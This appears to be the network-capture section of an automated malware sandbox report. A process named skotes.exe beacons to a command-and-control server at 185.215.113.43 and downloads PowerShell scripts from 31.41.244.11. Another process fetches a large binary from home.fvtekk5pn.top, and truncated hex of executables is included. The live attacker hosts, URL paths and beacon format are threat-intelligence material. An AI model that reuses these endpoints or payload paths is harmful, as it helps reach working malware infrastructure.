00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@ >C@ _qsl px'@.rsrc p'@.idata q'@ 7q'@zxydtulm0$'@buxvmaasB@.taggant0"B@
Nov 24, 2024 02:13:56.235992908 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:56.236083031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:56.236166000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:56.236180067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:56.236191988 CET	672	IN	Data Raw: d3 ab 45 15 05 f6 ce bb 7c 3c 5c 60 fd 24 21 d8 f7 92 7d a7 bc b8 fb 58 db f3 db d3 ef bc 33 19 9e 24 64 50 57 87 43 ed 28 4f d4 7b 5c dd 4b 62 ce 2d f3 0f 70 70 bf a2 85 34 cb 37 f0 78 b4 0a 15 51 0e a0 3f 21 73 71 4d d5 4c 1b 9c 9e 3c 9a ca 33 Data Ascii: E\|<\`$!}X3$dPWC(O{\Kb-pp47xQ?!sqML<3b+[K`qc uT<LP5VGn=HO/4 am)z5W0LQ8kL<cOqO4kwu,n3W#oXab{9XKE&{.iea}T#xTpd+qVs
Nov 24, 2024 02:13:56.236299038 CET	1236	IN	Data Raw: 3d 6e d6 a0 9d 7f 0c 25 c8 c6 ff 9e 8c 7e f3 3b 21 f1 ad a2 88 62 ad 77 b8 7d ba f0 b8 2e 1e 21 76 fd c8 b9 5d 60 39 96 75 2d 62 e2 c3 34 d0 05 5b e4 c3 5c 7e c1 7c 52 0c 1c be 44 f8 ad 60 fe bf 07 29 e7 c2 3e a6 ea 41 64 ef 2a 1c 9e 44 48 40 51 Data Ascii: =n%~;!bw}.!v]`9u-b4[\~\|RD`)>Ad*DH@Q{dEH j8o>`O?$IDn1[{-V=hQeG2F{[?/Q8}9aCW<9{uXP_P+hRLUyn9qLw`oz0V
Nov 24, 2024 02:13:56.236310959 CET	1236	IN	Data Raw: 57 ad b2 19 93 00 4e 1a 2d 51 38 88 78 da 06 7c 3b 81 fc a2 9d 6d 80 a6 36 b2 bb f5 24 54 03 7c 78 76 d5 58 1f c4 79 6b 73 29 0b 25 4c 5d 0e ad 31 5f c3 6b 13 ac db b0 3f 5d bb f8 69 4c e3 90 4d 39 81 79 5e 94 c7 d8 78 ed e2 bc 09 76 7e b6 32 5b Data Ascii: WN-Q8x\|;m6$T\|xvXyks)%L]1_k?]iLM9y^xv~2[16 t$t}c!Nnt~c3WNt,'#s@%Cl]ss#'xA^P^/0_\|pFEPM@Z#}/$2`a4%n[ UGdaqHe%
Nov 24, 2024 02:13:56.236323118 CET	1236	IN	Data Raw: 43 21 63 51 71 72 43 04 0d 3c 66 06 78 30 c8 19 09 6b d5 43 18 67 d5 b1 20 a0 c7 1b c3 2d 6a 01 08 14 db 72 fe 92 94 db 2a bf 8f 56 66 a6 cc f5 dd 8b cb bd e4 6c 8a e7 4c c1 24 4f e8 1d c7 65 eb 81 d2 59 f6 cb 63 c1 f7 15 e3 30 b1 27 98 42 83 97 Data Ascii: C!cQqrC<fx0kCg -jrVflL$OeYc0'BXz>9Vq3=eS-Ik4IZ?q\aG\\|q5.Ed\Y)!=*ZN2AJ&>jZ_F[KD.;!#V$7M@8;7LuWyu=\
Nov 24, 2024 02:13:56.236335039 CET	672	IN	Data Raw: ff 41 42 e5 27 7a c3 93 67 8f fa e8 97 19 b6 88 9b 2c 5e 59 75 2d a2 62 ad 34 35 29 44 9f 4a ab a3 d4 4e ae c5 d9 2e 1a 5e 65 bd 43 1e 54 e6 5e 23 d2 f2 1d b7 8d c1 b3 e3 15 2d 11 00 67 5c d2 5c 45 0b 63 22 f6 ae e1 8a 66 60 38 14 97 13 96 c6 9a Data Ascii: AB'zg,^Yu-b45)DJN.^eCT^#-g\\Ec"f`8y7v;9y-85LpgA(=t99qWbm7g"D_z;cy]v{ytFG><.WQ#fh~5ot*ZX\0McQ]\2w=C,X/L%\|B
Nov 24, 2024 02:13:56.355664015 CET	1236	IN	Data Raw: ea b5 d1 4c 01 e1 e6 fa 79 0f ce 07 99 3b dc 62 a1 68 df 6a d8 ba 8f a4 69 34 2e 1c 7d 57 44 a9 ff c5 ca 1d 13 35 9a 39 2e 61 e6 0f 23 ff e6 fa 26 6c f6 a0 c9 26 fe b1 90 4d f4 c7 2e ca f5 fb 6d e3 d3 e7 d8 56 51 39 6f 54 1d 9b 14 aa 45 1c 4e 30 Data Ascii: Ly;bhji4.}WD59.a#&l&M.mVQ9oTEN0r]eW6BG<OO~DuLG)z>W^?1@g6b!,rcw"c/<X_c$8M~wtrMY=X)jda/(rA'v7.mSg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49783	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:05.793477058 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008563001&unit=246122658369
Nov 24, 2024 02:14:07.152889967 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49784	34.116.198.130	80	7228	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:06.337845087 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 02:14:07.767154932 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 01:14:07 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 02:14:07.767220020 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 24, 2024 02:14:07.767237902 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 24, 2024 02:14:07.767344952 CET	552	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 24, 2024 02:14:07.767360926 CET	1236	IN	Data Raw: 54 65 68 8b e4 85 de 32 cf 3f a9 91 d9 b6 ed 84 92 fe 43 ef 63 9d c2 e9 e7 0c 37 eb 8e 40 ac ba 3b 5e dc c7 ba 12 00 66 bd c0 4d 3d c3 a8 ae a7 d5 d7 6f 36 bd e3 46 64 0b b0 9d 1c 3f d1 b7 6e 1a 8c 4b 17 be f7 39 cb cb 34 a8 10 80 2e 96 00 d5 f9 Data Ascii: Teh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&kDH32x&0z<O\|(4;'=<ZBS1a<aQNyA;4^p;'Ok
Nov 24, 2024 02:14:07.767369986 CET	1236	IN	Data Raw: e5 72 d2 c7 ce 58 5f c5 50 24 a4 62 ec 06 7d 5b 16 4f 20 b9 42 df 3a 3c 09 6c 9e 12 d6 34 bd 67 b1 17 49 a9 d8 41 50 fc f8 46 77 25 32 61 ac 60 5e 5f 01 e9 83 c2 64 84 10 41 93 a8 32 8b 72 69 b6 a4 ae 40 51 dc de bd 43 8d 9c 9e 5f 25 5d a9 a1 9a Data Ascii: rX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.GF3*\|Y?pn3iEox/rq>M9{U@8^y,xy>oir
Nov 24, 2024 02:14:07.767385960 CET	1236	IN	Data Raw: 66 b0 d8 a9 0e 54 43 ee cb b7 a1 20 0f 5c c5 1e b1 e1 26 d2 e9 03 fc 72 d5 ea aa 46 6d 73 a1 d1 66 c9 b6 ee 9a 5c 4f dc bf 94 e1 cb 01 a2 23 23 2c 0f c7 9a 52 f5 a2 21 95 81 02 f6 24 54 f3 75 5d e6 e3 52 b3 1e 12 9c 7f 8d 7a 60 41 95 35 92 aa 18 Data Ascii: fTC \&rFmsf\O##,R!$Tu]Rz`A5=Yw&Ex3XvNX^XjyJncs:q_gBpK6q+.K%sZ. W, aTz,h;fas#F@{Hy,Ir>T%}X\|(
Nov 24, 2024 02:14:07.767409086 CET	1236	IN	Data Raw: ca bf 3d 19 75 6f cd be 19 1d de 0d b3 77 d9 dc 60 e6 17 e8 44 3b 06 e6 53 d8 20 d5 14 56 4f 38 26 fe 6c 11 5c d0 8d 0e 36 84 51 23 9d e1 84 dc de 67 dd 77 ae 60 d9 76 6e ca 68 c2 62 61 e1 76 e4 8a 95 b4 c3 60 2f 57 d0 11 94 d1 30 f4 3a 97 1b 61 Data Ascii: =uow`D;S VO8&l\6Q#gw`vnhbav`/W0:acnXmPOAAi[kzx+qMVZUMsj-C/>dNVQG]y,V}Msi@,%VAaMKu\|]a4n&'99yI]
Nov 24, 2024 02:14:07.767426014 CET	736	IN	Data Raw: fb c4 e4 54 a4 42 d1 bb 0d c6 08 d8 cd a0 c6 7b 47 2d bf 44 07 1e 1e dc 47 9f 30 5f 8a b3 cc 50 5f 0c 37 a9 81 1f ed 36 a0 c8 db 24 b6 1e 3d 24 2f d1 8d c3 4b 95 f9 0e 98 0e a2 c4 1a 1d 89 19 28 89 36 c9 22 4e 90 44 9b 06 fc 76 ef 66 a7 f0 96 3d Data Ascii: TB{G-DG0_P_76$=$/K(6"NDvf=nk$ip{sh(:<(+K]xL%Py6$],x[F("SR}RiUiq\TfKxzLj<bT,
Nov 24, 2024 02:14:07.768431902 CET	1236	IN	Data Raw: 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba 9b 5e cb 6a 52 77 7b 8d 97 3b 2b 42 30 84 f0 a7 51 0d 9d c3 17 67 a0 5a 20 c3 b9 46 82 12 80 dd d2 fa 5e be e9 28 7d 97 cc b1 b9 01 b6 ca 8b a0 f4 85 6e d5 Data Ascii: > i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o}uxE<DO^YJ10g]9+/FruZ"
Nov 24, 2024 02:14:07.886981010 CET	1236	IN	Data Raw: 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 20 3e 72 63 9a 3b ac d8 9f 07 d8 7e 43 ef 05 86 e2 77 b3 3e 06 d0 40 7b e5 ee 60 14 fe e5 fc bf ba 81 64 c9 7a 23 7e a2 fe e8 f8 19 0c 83 11 4a c7 30 52 c7 Data Ascii: mV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49788	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:07.275564909 CET	86	OUT	GET /var/www/html/files/5124158732/CC%20[server].html HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:14:08.712284088 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49796	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:10.355216980 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 38 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008564001&unit=246122658369
Nov 24, 2024 02:14:11.735186100 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49801	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:11.856739998 CET	77	OUT	GET /var/www/html/files/5124158732/gok44.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:14:13.198285103 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49808	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:14.896034956 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 36 39 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008569041&unit=246122658369
Nov 24, 2024 02:14:16.322782993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49814	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:18.351865053 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 30 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008570041&unit=246122658369
Nov 24, 2024 02:14:19.692665100 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49820	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:19.819556952 CET	79	OUT	GET /var/www/html/files/5124158732/aZhXvFT.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:14:21.157411098 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49828	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:22.917918921 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 31 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008571041&unit=246122658369
Nov 24, 2024 02:14:24.293126106 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49832	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:24.425108910 CET	79	OUT	GET /var/www/html/files/5124158732/vtF7qZo.ps1 HTTP/1.1 Host: 31.41.244.11
